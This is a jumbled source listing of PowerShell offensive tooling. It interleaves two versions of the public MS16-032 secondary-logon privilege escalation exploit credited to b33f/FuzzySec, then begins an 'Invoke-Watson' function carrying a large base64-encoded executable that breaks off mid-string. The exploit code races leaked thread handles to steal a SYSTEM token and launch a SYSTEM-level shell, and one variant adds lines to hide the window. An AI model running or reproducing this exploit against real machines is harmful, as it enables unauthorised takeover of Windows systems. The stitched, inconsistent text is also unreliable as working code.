204 $CallResult = [Advapi32]::CreateProcessWithLogonW(
205 "user", "domain", "pass",
206 0x00000002, "C:\Windows\System32\cmd.exe", "",
207 0x00000004, $null, $GetCurrentPath,
208 [ref]$StartupInfo, [ref]$ProcessInfo)
209
210 $lpTargetHandle = [IntPtr]::Zero
211 $CallResult = [Kernel32]::DuplicateHandle(
212 $ProcessInfo.hProcess, 0x4,
213 [Kernel32]::GetCurrentProcess(),
214 [ref]$lpTargetHandle, 0, $false,
215 0x00000002)
216
217 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
218 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
219 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
220
221 $lpTargetHandle
222 }
223
224 function Get-SystemToken {
225 Write-Verbose "`n[?] Trying thread handle: $Thread"
226 Write-Verbose "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
227
228 $CallResult = [Kernel32]::SuspendThread($Thread)
229 if ($CallResult -ne 0) {
230 Write-Verbose "[!] $Thread is a bad thread, moving on.."
231 Return
232 } Write-Verbose "[+] Thread suspended"
233
234 Write-Verbose "[>] Wiping current impersonation token"
235 $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
236 if (!$CallResult) {
237 Write-Verbose "[!] SetThreadToken failed, moving on.."
238 $CallResult = [Kernel32]::ResumeThread($Thread)
239 Write-Verbose "[+] Thread resumed!"
240 Return
241 }
242
243 Write-Verbose "[>] Building SYSTEM impersonation token"
244 $SQOS = New-Object SQOS
245 $SQOS.ImpersonationLevel = 2
246 $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
247 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
248 if ($CallResult -ne 0) {
249 Write-Verbose "[!] NtImpersonateThread failed, moving on.."
250 $CallResult = [Kernel32]::ResumeThread($Thread)
251 Write-Verbose "[+] Thread resumed!"
252 Return
253 }
254
255 $script:SysTokenHandle = [IntPtr]::Zero
256 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
257 if (!$CallResult) {
258 Write-Verbose "[!] OpenThreadToken failed, moving on.."
259 $CallResult = [Kernel32]::ResumeThread($Thread)
260 Write-Verbose "[+] Thread resumed!"
261 Return
262 }
263
264 Write-Verbose "[?] Success, open SYSTEM token handle: $SysTokenHandle"
265 Write-Verbose "[+] Resuming thread.."
266 $CallResult = [Kernel32]::ResumeThread($Thread)
267 }
268
269 $ms16032 = @"
270 __ __ ___ ___ ___ ___ ___ ___
271 | V | _|_ | | _|___| |_ |_ |
272 | |_ |_| |_| . |___| | |_ | _|
273 |_|_|_|___|_____|___| |___|___|___|
274
275 [by b33f -> @FuzzySec]
180
181 function Get-ThreadHandle {
182 # StartupInfo Struct
183 $StartupInfo = New-Object STARTUPINFO
184 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
185 $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
186 $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
187 $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
188 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
189
190 # ProcessInfo Struct
191 $ProcessInfo = New-Object PROCESS_INFORMATION
192
193 # CreateProcessWithLogonW --> lpCurrentDirectory
194 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
195
196 # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
197 $CallResult = [Advapi32]::CreateProcessWithLogonW(
198 "user", "domain", "pass",
199 0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -Command $Cmd",
200 0x00000004, $null, $GetCurrentPath,
201 [ref]$StartupInfo, [ref]$ProcessInfo)
202
203 # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
204 $lpTargetHandle = [IntPtr]::Zero
205 $CallResult = [Kernel32]::DuplicateHandle(
206 $ProcessInfo.hProcess, 0x4,
207 [Kernel32]::GetCurrentProcess(),
208 [ref]$lpTargetHandle, 0, $false,
209 0x00000002)
210
211 # Clean up suspended process
212 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
213 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
214 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
215
216 $lpTargetHandle
217 }
218
219 function Get-SystemToken {
220 echo "`n[?] Trying thread handle: $Thread"
221 echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
222
223 $CallResult = [Kernel32]::SuspendThread($Thread)
224 if ($CallResult -ne 0) {
225 echo "[!] $Thread is a bad thread, moving on.."
226 Return
227 } echo "[+] Thread suspended"
228
229 echo "[>] Wiping current impersonation token"
230 $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
231 if (!$CallResult) {
232 echo "[!] SetThreadToken failed, moving on.."
233 $CallResult = [Kernel32]::ResumeThread($Thread)
234 echo "[+] Thread resumed!"
235 Return
236 }
237
238 echo "[>] Building SYSTEM impersonation token"
239 # SecurityQualityOfService struct
240 $SQOS = New-Object SQOS
241 $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
242 $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
243 # Undocumented API's, I like your style Microsoft ;)
244 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
245 if ($CallResult -ne 0) {
246 echo "[!] NtImpersonateThread failed, moving on.."
247 $CallResult = [Kernel32]::ResumeThread($Thread)
248 echo "[+] Thread resumed!"
249 Return
250 }
251
252 # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
253 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
254 if (!$CallResult) {
255 echo "[!] OpenThreadToken failed, moving on.."
256 $CallResult = [Kernel32]::ResumeThread($Thread)
257 echo "[+] Thread resumed!"
258 Return
259 }
260
261 echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
262 echo "[+] Resuming thread.."
263 $CallResult = [Kernel32]::ResumeThread($Thread)
264 }
265
266 # main() <--- ;)
267 $ms16032 = @"
268 __ __ ___ ___ ___ ___ ___ ___
269 | V | _|_ | | _|___| |_ |_ |
270 | |_ |_| |_| . |___| | |_ | _|
271 |_|_|_|___|_____|___| |___|___|___|
272
273 [by b33f -> @FuzzySec]
276274 "@
277
278 $ms16032
279
280 Write-Verbose "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
281 if ($([System.Environment]::ProcessorCount) -lt 2) {
282 "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
283 Return
284 }
285
286 $ThreadArray = @()
287 $TidArray = @()
288
289 Write-Verbose "[>] Duplicating CreateProcessWithLogonW handles.."
290 for ($i=0; $i -lt 500; $i++) {
291 $hThread = Get-ThreadHandle
292 $hThreadID = [Kernel32]::GetThreadId($hThread)
293 if ($TidArray -notcontains $hThreadID) {
294 $TidArray += $hThreadID
295 if ($hThread -ne 0) {
296 $ThreadArray += $hThread
297 }
298 }
299 }
300
301 if ($($ThreadArray.length) -eq 0) {
302 "[!] No valid thread handles were captured, exiting!"
303 Return
304 } else {
305 Write-Verbose "[?] Done, got $($ThreadArray.length) thread handle(s)!"
306 Write-Verbose "`n[?] Thread handle list:"
307 }
308
309 Write-Verbose "`n[*] Sniffing out privileged impersonation token.."
310 foreach ($Thread in $ThreadArray){
311
312 Get-SystemToken
313
314 Write-Verbose "`n[*] Sniffing out SYSTEM shell.."
315 Write-Verbose "`n[>] Duplicating SYSTEM token"
316 $hDuplicateTokenHandle = [IntPtr]::Zero
317 $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
318
319 Write-Verbose "[>] Starting token race"
320 $Runspace = [runspacefactory]::CreateRunspace()
321 $StartTokenRace = [powershell]::Create()
322 $StartTokenRace.runspace = $Runspace
323 $Runspace.Open()
324 [void]$StartTokenRace.AddScript({
325 Param ($Thread, $hDuplicateTokenHandle)
326 while ($true) {
327 $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
328 }
329 }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
330 $AscObj = $StartTokenRace.BeginInvoke()
331
332 Write-Verbose "[>] Starting process race"
333 $SafeGuard = [diagnostics.stopwatch]::StartNew()
334 while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
335 $StartupInfo = New-Object STARTUPINFO
336 # 2 lines added to hide window
337 $StartupInfo.dwFlags = 0x00000001
338 $StartupInfo.wShowWindow = 0x00000000
339 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
340
341 $ProcessInfo = New-Object PROCESS_INFORMATION
342
343 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
344
345 $CallResult = [Advapi32]::CreateProcessWithLogonW(
346 "user", "domain", "pass",
347 0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Command",
348 0x00000004, $null, $GetCurrentPath,
349 [ref]$StartupInfo, [ref]$ProcessInfo)
350
351 $hTokenHandle = [IntPtr]::Zero
352 $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
353 if (!$CallResult) {
354 "`n[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
355 $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
356 $StartTokenRace.Stop()
357 $SafeGuard.Stop()
358 Return
359 }
360
361 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
362 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
363 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
364 }
365
366 $StartTokenRace.Stop()
367 $SafeGuard.Stop()
368 }
275
276 $ms16032
277
278 # Check logical processor count, race condition requires 2+
279 echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
280 if ($([System.Environment]::ProcessorCount) -lt 2) {
281 echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
282 Return
283 }
284
285 # Create array for Threads & TID's
286 $ThreadArray = @()
287 $TidArray = @()
288
289 echo "[>] Duplicating CreateProcessWithLogonW handles.."
290 # Loop Get-ThreadHandle and collect thread handles with a valid TID
291 for ($i=0; $i -lt 500; $i++) {
292 $hThread = Get-ThreadHandle
293 $hThreadID = [Kernel32]::GetThreadId($hThread)
294 # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
295 if ($TidArray -notcontains $hThreadID) {
296 $TidArray += $hThreadID
297 if ($hThread -ne 0) {
298 $ThreadArray += $hThread # This is what we need!
299 }
300 }
301 }
302
303 if ($($ThreadArray.length) -eq 0) {
304 echo "[!] No valid thread handles were captured, exiting!`n"
305 Return
306 } else {
307 echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
308 echo "`n[?] Thread handle list:"
309 $ThreadArray
310 }
311
312 echo "`n[*] Sniffing out privileged impersonation token.."
313 foreach ($Thread in $ThreadArray){
314
315 # Null $SysTokenHandle
316 $script:SysTokenHandle = [IntPtr]::Zero
317
318 # Get handle to SYSTEM access token
319 Get-SystemToken
320
321 # If we fail a check in Get-SystemToken, skip loop
322 if ($SysTokenHandle -eq 0) {
323 continue
324 }
325
326 echo "`n[*] Sniffing out SYSTEM shell.."
327 echo "`n[>] Duplicating SYSTEM token"
328 $hDuplicateTokenHandle = [IntPtr]::Zero
329 $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
330
331 # Simple PS runspace definition
332 echo "[>] Starting token race"
333 $Runspace = [runspacefactory]::CreateRunspace()
334 $StartTokenRace = [powershell]::Create()
335 $StartTokenRace.runspace = $Runspace
336 $Runspace.Open()
337 [void]$StartTokenRace.AddScript({
338 Param ($Thread, $hDuplicateTokenHandle)
339 while ($true) {
340 $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
341 }
342 }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
343 $AscObj = $StartTokenRace.BeginInvoke()
344
345 echo "[>] Starting process race"
346 # Adding a timeout (10 seconds) here to safeguard from edge-cases
347 $SafeGuard = [diagnostics.stopwatch]::StartNew()
348 while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
349 # StartupInfo Struct
350 $StartupInfo = New-Object STARTUPINFO
351 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
352
353 # ProcessInfo Struct
354 $ProcessInfo = New-Object PROCESS_INFORMATION
355
356 # CreateProcessWithLogonW --> lpCurrentDirectory
357 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
358
359 # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
360 $CallResult = [Advapi32]::CreateProcessWithLogonW(
361 "user", "domain", "pass",
362 0x00000002, "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", " -Command $Cmd",
363 0x00000004, $null, $GetCurrentPath,
364 [ref]$StartupInfo, [ref]$ProcessInfo)
365
366 $hTokenHandle = [IntPtr]::Zero
367 $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
368 # If we can't open the process token it's a SYSTEM shell!
369 if (!$CallResult) {
370 echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
371 $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
372 $StartTokenRace.Stop()
373 $SafeGuard.Stop()
374 Return
375 }
376
377 # Clean up suspended process
378 $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
379 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
380 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
381 }
382
383 # Kill runspace & stopwatch if edge-case
384 $StartTokenRace.Stop()
385 $SafeGuard.Stop()
386 }
369387 }
0 function Invoke-Watson
1 {
2
3 $base64binary="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJJQJa0AAAAAAAAAAOAAIgALATAAAE4AAAAIAAAAAAAABm0AAAAgAAAAgAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALNsAABPAAAAAIAAAKwFAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAAAQbAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAADE0AAAAgAAAATgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKwFAAAAgAAAAAYAAABQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAAVgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADnbAAAAAAAAEgAAAACAAUAqEMAAGgoAAABAAAABwAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAQBbAAAAAAAAAHIBAABwKBAAAApySwAAcCgQAAAKcpUAAHAoEAAACnLfAABwKBAAAApyKQEAcCgQAAAKcnMBAHAoEAAACnK7AQBwKBAAAApycwEAcCgQAAAKcgMCAHAoEAAACioeAigRAAAKKgATMAMAKgAAAAEAABFzHAAABgoGA30OAAAEAnsBAAAEBv4GHQAABnMSAAAKKAEAACtvDgAABipOAigRAAAKAgIoBgAABn0BAAAEKgAAGzAEAPkAAAACAAARAnsBAAAEfhAAAAQlLRcmfg8AAAT+BiAAAAZzEgAACiWAEAAABCgCAAArbxUAAAoKK0IGbxYAAAoLckcCAHAHbwkAAAYoFwAACgdvCgAABgwWDSsVCAmaEwRycwIAcBEEKBcAAAoJF1gNCQiOaTLlKBgAAAoGbxkAAAottt4KBiwGBm8aAAAK3AJ7AQAABH4RAAAEJS0XJn4PAAAE/gYhAAAGcxIAAAolgBEAAAQoAwAAKyw6cocCAHACewEAAAR+EgAABCUtFyZ+DwAABP4GIgAABnMSAAAKJYASAAAEKAQAACuMHwAAASgXAAAKKnLzAgBwKBAAAAoqAAAAARAAAAIAMABOfgAKAAAAABMwBgAmAQAAAwAAEXMdAAAKCgZyRwMAcBiNIAAAASUWcmMDAHCiJRdyrwMAcKJzDQAABm8eAAAKBnLcBABwGI0gAAABJRZy+AQAcKIlF3JOBQBwonMNAAAGbx4AAAoGcqIFAHAXjSAAAAElFnK+BQBwonMNAAAGbx4AAAoGch4GAHAXjSAAAAElFnI6BgBwonMNAAAGbx4AAAoGcpgGAHAXjSAAAAElFnK0BgBwonMNAAAGbx4AAAoGcgwHAHAXjSAAAAElFnIoBwBwonMNAAAGbx4AAAoGctUHAHAXjSAAAAElFnLxBwBwonMNAAAGbx4AAAoGckkIAHAXjSAAAAElFnJlCABwonMNAAAGbx4AAAoGcrcIAHAXjSAAAAElFnLTCABwonMNAAAGbx4AAAoGKgAAEzAEAAEBAAAEAAARKAEAAAZzHwAACiVyZgoAcG8gAAAKJXJyCgBwbyAAAAolcn4KAHBvIAAACiVyigoAcG8gAAAKJXKWCgBwbyAAAAolcqIKAHBvIAAACiVyrgoAcG8gAAAKJXK6CgBwbyAAAAolcsYKAHBvIAAACgooEAAABgsHKCEAAAotDXLSCgBwBygXAAAKKwEqBgdvIgAACi0LcgYLAHAoEAAACipyUAsAcCgQAAAKKA8AAAYMcwQAAAYlBwgoFwAABiUHCCgaAAAGJQcIKBkAAAYlBwgoGAAABiUHCCgSAAAGJQcIKBYAAAYlBwgoEwAABiUHCCgVAAAGJQcIKBQAAAZvBQAABioeAigRAAAKKh4CewIAAAQqHgJ7AwAABCoeAnsEAAAEKiICA30EAAAEKlYCKBEAAAoCA30CAAAEAgR9AwAABCoiAhcoDAAABioAAAAbMAQAiwAAAAUAABFzHwAACgpymAsAcHKuCwBwcyMAAAoLB28kAAAKbyUAAAoMKykIbyYAAAp0GAAAAQ0GCXIMDABwbycAAApvKAAAChYYbykAAApvIAAACghvKgAACi3P3goILAYIbxoAAArc3goHLAYHbxoAAArc3hoTBCgrAAAKch4MAHARBG8sAAAKby0AAAreAAYqAAEoAAACACIANVcACgAAAAACABYATWMACgAAAAAAAAYAaW8AGhkAAAEbMAMAewAAAAYAABF+LgAACgpymAsAcHIwDABwcyMAAAoLB28kAAAKbyUAAAoMKxsIbyYAAAp0GAAAAXKMDABwbycAAAp0IAAAAQoIbyoAAAot3d4KCCwGCG8aAAAK3N4KBywGB28aAAAK3N4YDSgrAAAKch4MAHAJbywAAApvLQAACt4ABioAASgAAAIAIgAnSQAKAAAAAAIAFgA/VQAKAAAAAAAABgBbYQAYGQAAAR4CKBEAAAoqEzAFAKMCAAAHAAARcx8AAAoKAzl8AgAAAygbAAAGCwcgdhsbPzUtByDV8wQiNRQHIGnD4yA7rwAAAAcg1fMEIi5KKgcgsrwuPS5dByB2Gxs/LisqByCt4iyLNREHIEcStXkuYwcgreIsiy5sKgcg2tVdiy5BByARJoX7Lh0qA3JmCgBwKC8AAAotbyoDcnIKAHAoLwAACi1yKgNyfgoAcCgvAAAKLXUqA3KKCgBwKC8AAAoteCoDcpYKAHAoLwAACjqwAAAAKgNyogoAcCgvAAAKOugAAAAqA3KuCgBwKC8AAAo6IAEAACoDcroKAHAoLwAACjpVAQAAKgYWjSAAAAFvMAAACjiKAQAABhaNIAAAAW8wAAAKOHkBAAAGFo0gAAABbzAAAAo4aAEAAAYdjSAAAAElFnKkDABwoiUXcrQMAHCiJRhyxAwAcKIlGXLUDABwoiUacuQMAHCiJRty9AwAcKIlHHIEDQBwom8wAAAKOB8BAAAGHY0gAAABJRZyFA0AcKIlF3IkDQBwoiUYcjQNAHCiJRlyRA0AcKIlGnJUDQBwoiUbcmQNAHCiJRxydA0AcKJvMAAACjjWAAAABh2NIAAAASUWcoQNAHCiJRdylA0AcKIlGHKkDQBwoiUZcrQNAHCiJRpyxA0AcKIlG3LUDQBwoiUccuQNAHCibzAAAAo4jQAAAAYdjSAAAAElFnL0DQBwoiUXcgQOAHCiJRhyFA4AcKIlGXIkDgBwoiUacjQOAHCiJRtyRA4AcKIlHHJUDgBwom8wAAAKK0cGHY0gAAABJRZyZA4AcKIlF3J0DgBwoiUYcoQOAHCiJRlylA4AcKIlGnKkDgBwoiUbcrQOAHCiJRxyxA4AcKJvMAAACisBKgYEKAUAACsoBgAAKy0LAnKYBgBwbwMAAAYqABMwBQALAgAABwAAEXMfAAAKCgM55AEAAAMoGwAABgsHILK8Lj01MAcgacPjIDUXByDWweMfO9cAAAAHIGnD4yA7uwAAACoHINXzBCIuTAcgsrwuPS5mKgcgRxK1eTURByB2Gxs/LiIHIEcStXkubyoHIK3iLIsudwcg2tVdiy5NByARJoX7LiMqA3JmCgBwKC8AAAo6iQAAACoDcnIKAHAoLwAACjqJAAAAKgNyfgoAcCgvAAAKOokAAAAqA3KKCgBwKC8AAAo6iQAAACoDcpYKAHAoLwAACjqJAAAAKgNyogoAcCgvAAAKOpYAAAAqA3KuCgBwKC8AAAo6owAAACoDcroKAHAoLwAACjqwAAAAKgNyxgoAcCgvAAAKOr0AAAAqBhaNIAAAAW8wAAAKOMoAAAAGFo0gAAABbzAAAAo4uQAAAAYWjSAAAAFvMAAACjioAAAABhaNIAAAAW8wAAAKOJcAAAAGGI0gAAABJRZyZA0AcKIlF3J0DQBwom8wAAAKK3kGGI0gAAABJRZy1A0AcKIlF3LkDQBwom8wAAAKK1sGGI0gAAABJRZyRA4AcKIlF3JUDgBwom8wAAAKKz0GGI0gAAABJRZytA4AcKIlF3LEDgBwom8wAAAKKx8GGI0gAAABJRZytA4AcKIlF3LEDgBwom8wAAAKKwEqBgQoBQAAKygGAAArLQsCctUHAHBvAwAABioAEzAFACsCAAAHAAARcx8AAAoKAzkEAgAAAygbAAAGCwcgsrwuPTUwByBpw+MgNRcHINbB4x871wAAAAcgacPjIDu7AAAAKgcg1fMEIi5MByCyvC49LmYqByBHErV5NREHIHYbGz8uIgcgRxK1eS5vKgcgreIsiy53ByDa1V2LLk0HIBEmhfsuIyoDcmYKAHAoLwAACjqJAAAAKgNycgoAcCgvAAAKOpkAAAAqA3J+CgBwKC8AAAo6mQAAACoDcooKAHAoLwAACjqpAAAAKgNylgoAcCgvAAAKOqkAAAAqA3KiCgBwKC8AAAo6tgAAACoDcq4KAHAoLwAACjrDAAAAKgNyugoAcCgvAAAKOtAAAAAqA3LGCgBwKC8AAAo63QAAACoGGI0gAAABJRZy1A4AcKIlF3LkDgBwom8wAAAKONoAAAAGFo0gAAABbzAAAAo4yQAAAAYYjSAAAAElFnL0DgBwoiUXcgQPAHCibzAAAAo4qAAAAAYWjSAAAAFvMAAACjiXAAAABhiNIAAAASUWcmQNAHCiJRdydA0AcKJvMAAACit5BhiNIAAAASUWctQNAHCiJRdy5A0AcKJvMAAACitbBhiNIAAAASUWckQOAHCiJRdyVA4AcKJvMAAACis9BhiNIAAAASUWcrQOAHCiJRdyxA4AcKJvMAAACisfBhiNIAAAASUWcrQOAHCiJRdyxA4AcKJvMAAACisBKgYEKAUAACsoBgAAKy0LAnK3CABwbwMAAAYqABMwBQDrAQAABwAAEXMfAAAKCgM5xAEAAAMoGwAABgsHIHYbGz81LQcg1fMEIjUUByBpw+MgO7gAAAAHINXzBCIuSioHILK8Lj0uYwcgdhsbPy4rKgcgreIsizURByBHErV5LmwHIK3iLIsudSoHINrVXYsuSgcgESaF+y4gKgNyZgoAcCgvAAAKLXgqA3JyCgBwKC8AAAo6iAAAACoDcn4KAHAoLwAACjqIAAAAKgNyigoAcCgvAAAKOpgAAAAqA3KWCgBwKC8AAAo6lQAAACoDcqIKAHAoLwAACjqiAAAAKgNyrgoAcCgvAAAKOq8AAAAqA3K6CgBwKC8AAAo6vAAAACoGGI0gAAABJRZy1A4AcKIlF3LkDgBwom8wAAAKOLkAAAAGFo0gAAABbzAAAAo4qAAAAAYYjSAAAAElFnL0DgBwoiUXcgQPAHCibzAAAAo4hwAAAAYWjSAAAAFvMAAACit5BhiNIAAAASUWcmQNAHCiJRdydA0AcKJvMAAACitbBhiNIAAAASUWctQNAHCiJRdy5A0AcKJvMAAACis9BhiNIAAAASUWckQOAHCiJRdyVA4AcKJvMAAACisfBhiNIAAAASUWcrQOAHCiJRdyxA4AcKJvMAAACisBKgYEKAUAACsoBgAAKy0LAnJJCABwbwMAAAYqABMwBQBhAgAABwAAEXMfAAAKCgM5OgIAAAMoGwAABgsHIHYbGz81LQcg1fMEIjUUByBpw+MgO7gAAAAHINXzBCIuSioHILK8Lj0uYwcgdhsbPy4rKgcgreIsizURByBHErV5LmwHIK3iLIsudSoHINrVXYsuSgcgESaF+y4gKgNyZgoAcCgvAAAKLXgqA3JyCgBwKC8AAAo6kAAAACoDcn4KAHAoLwAACjqQAAAAKgNyigoAcCgvAAAKOrAAAAAqA3KWCgBwKC8AAAo6yAAAACoDcqIKAHAoLwAACjroAAAAKgNyrgoAcCgvAAAKOgUBAAAqA3K6CgBwKC8AAAo6IgEAACoGGY0gAAABJRZyFA8AcKIlF3LUDgBwoiUYcuQOAHCibzAAAAo4JwEAAAYWjSAAAAFvMAAACjgWAQAABhqNIAAAASUWciQPAHCiJRdyNA8AcKIlGHL0DgBwoiUZcgQPAHCibzAAAAo45QAAAAYZjSAAAAElFnLUDABwoiUXcvQMAHCiJRhyBA0AcKJvMAAACji8AAAABhqNIAAAASUWckQNAHCiJRdyRA8AcKIlGHJkDQBwoiUZcnQNAHCibzAAAAo4iwAAAAYajSAAAAElFnK0DQBwoiUXclQPAHCiJRhy1A0AcKIlGXLkDQBwom8wAAAKK10GGo0gAAABJRZyJA4AcKIlF3JkDwBwoiUYckQOAHCiJRlyVA4AcKJvMAAACisvBhqNIAAAASUWcpQOAHCiJRdydA8AcKIlGHK0DgBwoiUZcsQOAHCibzAAAAorASoGBCgFAAArKAYAACstCwJyDAcAcG8DAAAGKgAAABMwBQAhBQAABwAAEXMfAAAKCgM5+gQAAAMoGwAABgsHIHYbGz81GQcg1fMEIi5JByCyvC49LmMHIHYbGz8uKyoHIK3iLIs1EQcgRxK1eS5sByCt4iyLLnUqByDa1V2LLkoHIBEmhfsuICoDcmYKAHAoLwAACi1nKgNycgoAcCgvAAAKOt0AAAAqA3J+CgBwKC8AAAo63QAAACoDcooKAHAoLwAACjqJAQAAKgNylgoAcCgvAAAKOjUCAAAqA3KiCgBwKC8AAAo62AIAACoDcq4KAHAoLwAACjp7AwAAKgYfDo0gAAABJRZyhA8AcKIlF3KUDwBwoiUYcqQPAHCiJRlytA8AcKIlGnLEDwBwoiUbctQPAHCiJRxy5A8AcKIlHXL0DwBwoiUecgQQAHCiJR8JchQQAHCiJR8KchQPAHCiJR8LciQQAHCiJR8MctQOAHCiJR8NcuQOAHCibzAAAAo4rgMAAAYWjSAAAAFvMAAACjidAwAABh8UjSAAAAElFnI0EABwoiUXckQQAHCiJRhyVBAAcKIlGXJkEABwoiUacnQQAHCiJRtyhBAAcKIlHHKUEABwoiUdcqQQAHCiJR5ytBAAcKIlHwlyxBAAcKIlHwpy1BAAcKIlHwty5BAAcKIlHwxy9BAAcKIlHw1yBBEAcKIlHw5yFBEAcKIlHw9yJBEAcKIlHxByJA8AcKIlHxFyNBEAcKIlHxJy9A4AcKIlHxNyBA8AcKJvMAAACjjgAgAABh8UjSAAAAElFnJEEQBwoiUXclQRAHCiJRhyZBEAcKIlGXJ0EQBwoiUacoQRAHCiJRtylBEAcKIlHHKkEQBwoiUdcrQRAHCiJR5yxBEAcKIlHwly1BEAcKIlHwpy5BEAcKIlHwty9BEAcKIlHwxyBBIAcKIlHw1ytAwAcKIlHw5ypAwAcKIlHw9yxAwAcKIlHxBy1AwAcKIlHxFy5AwAcKIlHxJy9AwAcKIlHxNyBA0AcKJvMAAACjgjAgAABh8TjSAAAAElFnIUEgBwoiUXciQSAHCiJRhyNBIAcKIlGXJEEgBwoiUaclQSAHCiJRtyZBIAcKIlHHJ0EgBwoiUdcoQSAHCiJR5ylBIAcKIlHwlypBIAcKIlHwpytBIAcKIlHwtyxBIAcKIlHwxyFA0AcKIlHw1yJA0AcKIlHw5yNA0AcKIlHw9yRA0AcKIlHxByVA0AcKIlHxFy1BIAcKIlHxJydA0AcKJvMAAACjhvAQAABh8TjSAAAAElFnLiEgBwoiUXcvISAHCiJRhyAhMAcKIlGXISEwBwoiUaciITAHCiJRtyMhMAcKIlHHJCEwBwoiUdclITAHCiJR5yYhMAcKIlHwlychMAcKIlHwpyghMAcKIlHwtykhMAcKIlHwxylA0AcKIlHw1yhA0AcKIlHw5ypA0AcKIlHw9ytA0AcKIlHxByxA0AcKIlHxFy1A0AcKIlHxJyohMAcKJvMAAACji7AAAABh8UjSAAAAElFnK0EwBwoiUXcsQTAHCiJRhy1BMAcKIlGXLkEwBwoiUacvQTAHCiJRtyBBQAcKIlHHIUFABwoiUdciQUAHCiJR5yNBQAcKIlHwlyRBQ